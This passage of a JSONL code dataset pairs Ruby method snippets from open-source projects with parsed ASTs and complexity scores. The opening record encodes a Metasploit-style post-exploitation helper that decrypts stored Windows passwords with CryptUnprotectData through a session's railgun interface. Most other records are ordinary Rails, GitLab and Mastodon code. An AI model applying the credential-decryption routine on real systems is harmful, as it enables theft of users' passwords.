end","complexity_score":80.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"getpid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"pid\"]},{\"type\":\"const\",\"children\":[null,\"PROCESS_ALL_ACCESS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mem\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"memory\"]},\"allocate\",{\"type\":\"int\",\"children\":[128]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"memory\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"mem\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"each_process\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"arch\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"x86\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mem\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"crypt32\"]},\"CryptUnprotectData\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]}]}]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\"]},{\"type\":\"lvasgn\",\"children\":[\"addr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pDataOut\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V2\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mem\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"Q\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"Q\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"crypt32\"]},\"CryptUnprotectData\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]}]}]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\"]},{\"type\":\"lvasgn\",\"children\":[\"addr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pDataOut\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"Q2\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"decrypted_pw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"memory\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"addr\"]},{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted_pw\"]}]}]}]}","id":"b5b233fa-f961-47ac-9dee-e8e0fa53cf5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb","start_line":612,"raw_source":"def get_blob\n      get :blob, params: { group_id: group.to_param, image: 'alpine', sha: blob_sha }\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"blob\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"alpine\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[null,\"blob_sha\"]}]}]}]}]}]}]}","id":"d74758d4-c855-4178-b4b5-b3eae9fee7cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/firetv/firetv_youtube.rb","start_line":45,"raw_source":"def run\n    case action.name\n    when 'Play'\n      stop\n      sleep(1)\n      res = play\n    when 'Stop'\n      res = stop\n    end\n\n    return unless res\n\n    case res.code\n    when 201\n      print_good(\"Playing https://www.youtube.com/watch?v=#{datastore['VID']}\")\n    when 200\n      print_status('Stopping video')\n    when 404\n      print_error(\"Couldn't #{action.name.downcase} video\")\n    end\n  end","complexity_score":31.55,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Play\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stop\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"play\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Stop\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"stop\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[201]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Playing https://www.youtube.com/watch?v=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VID\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Stopping video\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[404]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\" video\"]}]}]}]},null]}]}]}","id":"fb5886fa-b059-47d7-8886-f50c27c5a768"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/processor.rb","start_line":277,"raw_source":"def stats(jobstr, queue)\n      WORK_STATE.set(tid, {queue: queue, payload: jobstr, run_at: Time.now.to_i})\n\n      begin\n        yield\n      rescue Exception\n        FAILURE.incr\n        raise\n      ensure\n        WORK_STATE.delete(tid)\n        PROCESSED.incr\n      end\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"jobstr\"]},{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WORK_STATE\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"tid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"queue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"jobstr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FAILURE\"]},\"incr\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WORK_STATE\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"tid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROCESSED\"]},\"incr\"]}]}]}]}]}]}","id":"0222706b-b36d-4f71-9106-64b2110fb435"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_value/bool_strategy.rb","start_line":50,"raw_source":"def checked?\n    ActiveRecord::Type::Boolean.new.cast(value)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"checked?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}","id":"5356e3c2-d393-42ec-a5e8-24d17ad7fb6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/users_controller.rb","start_line":361,"raw_source":"def build_canonical_path(user)\n    url_for(safe_params.merge(id: user.to_param))\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_canonical_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"to_param\"]}]}]}]}]}]}","id":"67cac66c-10c1-4339-9da4-75c58b85cada"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/report.rb","start_line":136,"raw_source":"def history\n    subquery = [\n      Admin::ActionLog.where(\n        target_type: 'Report',\n        target_id: id\n      ).arel,\n\n      Admin::ActionLog.where(\n        target_type: 'Account',\n        target_id: target_account_id\n      ).arel,\n\n      Admin::ActionLog.where(\n        target_type: 'Status',\n        target_id: status_ids\n      ).arel,\n\n      Admin::ActionLog.where(\n        target_type: 'AccountWarning',\n        target_id: AccountWarning.where(report_id: id).select(:id)\n      ).arel,\n    ].reduce { |union, query| Arel::Nodes::UnionAll.new(union, query) }\n\n    Admin::ActionLog.latest.from(Arel::Nodes::As.new(subquery, Admin::ActionLog.arel_table))\n  end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"history\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subquery\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"ActionLog\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"Report\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},\"arel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"ActionLog\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"Account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[null,\"target_account_id\"]}]}]}]},\"arel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"ActionLog\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"Status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[null,\"status_ids\"]}]}]}]},\"arel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"ActionLog\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"AccountWarning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountWarning\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"arel\"]}]},\"reduce\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"union\"]},{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"UnionAll\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"union\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"ActionLog\"]},\"latest\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"As\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"subquery\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"ActionLog\"]},\"arel_table\"]}]}]}]}]}","id":"9032c655-04d0-4e47-80d0-23cc7423ab28"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/action.rb","start_line":47,"raw_source":"def route_params(key = nil)\n      if key\n        env[WebRouter::ROUTE_PARAMS][key]\n      else\n        env[WebRouter::ROUTE_PARAMS]\n      end\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"route_params\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebRouter\"]},\"ROUTE_PARAMS\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebRouter\"]},\"ROUTE_PARAMS\"]}]}]}]}","id":"2db34d52-22ba-435a-bf7a-3858ca0113ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/test_env.rb","start_line":357,"raw_source":"def setup_factory_repo\n    setup_repo(factory_repo_path, factory_repo_bundle_path, factory_repo_name, BRANCH_SHA)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_factory_repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"setup_repo\",{\"type\":\"send\",\"children\":[null,\"factory_repo_path\"]},{\"type\":\"send\",\"children\":[null,\"factory_repo_bundle_path\"]},{\"type\":\"send\",\"children\":[null,\"factory_repo_name\"]},{\"type\":\"const\",\"children\":[null,\"BRANCH_SHA\"]}]}]}","id":"4e68a78a-e9fd-4e79-aa5d-9864f78ee900"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/review.rb","start_line":133,"raw_source":"def has_listing_for_unknown_reviewables_unknown_source?(reviewable_type)\n        page.has_css?(\n          \".unknown-reviewables ul li\",\n          text:\n            I18n.t(\"js.review.unknown.reviewable_unknown_source\", reviewableType: reviewable_type),\n        )\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_listing_for_unknown_reviewables_unknown_source?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reviewable_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".unknown-reviewables ul li\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.review.unknown.reviewable_unknown_source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reviewableType\"]},{\"type\":\"lvar\",\"children\":[\"reviewable_type\"]}]}]}]}]}]}]}]}","id":"1b39706d-0719-4468-8c00-0a333a2d8068"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/document_generator/pull_request_finder.rb","start_line":54,"raw_source":"def search(mod)\n          file_name = get_normalized_module_name(mod)\n          commits = get_commits_from_file(file_name)\n          get_pull_requests_from_commits(commits)\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[null,\"get_normalized_module_name\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commits\",{\"type\":\"send\",\"children\":[null,\"get_commits_from_file\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get_pull_requests_from_commits\",{\"type\":\"lvar\",\"children\":[\"commits\"]}]}]}]}","id":"a0e14eeb-6f68-401e-9239-554219aa84ef"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/feeds/basic.rb","start_line":4,"raw_source":"def initialize(user: nil, number_of_articles: Article::DEFAULT_FEED_PAGINATION_WINDOW_SIZE, page: 1, tag: nil)\n        @user = user\n        @number_of_articles = number_of_articles\n        @page = [page, 1].max\n        @tag = tag\n        @article_score_applicator = Articles::Feeds::ArticleScoreCalculatorForUser.new(user: @user)\n      end","complexity_score":7.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"number_of_articles\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"DEFAULT_FEED_PAGINATION_WINDOW_SIZE\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"page\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwoptarg\",\"children\":[\"tag\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@number_of_articles\",{\"type\":\"lvar\",\"children\":[\"number_of_articles\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@page\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"int\",\"children\":[1]}]},\"max\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tag\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@article_score_applicator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Articles\"]},\"Feeds\"]},\"ArticleScoreCalculatorForUser\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]}]}","id":"24db74ad-8f2f-4633-b158-a70485875308"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":1728,"raw_source":"def member(&block)\n          unless resource_scope?\n            raise ArgumentError, \"can't use member outside resource(s) scope\"\n          end\n\n          with_scope_level(:member) do\n            if shallow?\n              shallow_scope {\n                path_scope(parent_resource.member_scope, &block)\n              }\n            else\n              path_scope(parent_resource.member_scope, &block)\n            end\n          end\n        end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"member\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_scope?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"can't use member outside resource(s) scope\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_scope_level\",{\"type\":\"sym\",\"children\":[\"member\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shallow?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shallow_scope\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"path_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"member_scope\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"path_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"member_scope\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}]}","id":"67ef7cde-f05c-4cb7-8aa0-203fcd0b9c58"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/seed.rb","start_line":37,"raw_source":"def break?\n            pipeline.errors.any?\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"break?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"errors\"]},\"any?\"]}]}","id":"c2ce88ba-3971-4ed3-856f-9bec93c583f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/each_database.rb","start_line":7,"raw_source":"def each_connection(only: nil, include_shared: true)\n          selected_names = Array.wrap(only)\n          base_models = select_base_models(selected_names)\n\n          base_models.each_pair do |connection_name, model|\n            next if !include_shared && Gitlab::Database.db_config_share_with(model.connection_db_config)\n\n            connection = model.connection\n\n            with_shared_connection(connection, connection_name) do\n              yield connection, connection_name\n            end\n          end\n        end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"each_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"only\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"include_shared\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected_names\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"only\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base_models\",{\"type\":\"send\",\"children\":[null,\"select_base_models\",{\"type\":\"lvar\",\"children\":[\"selected_names\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_models\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_name\"]},{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send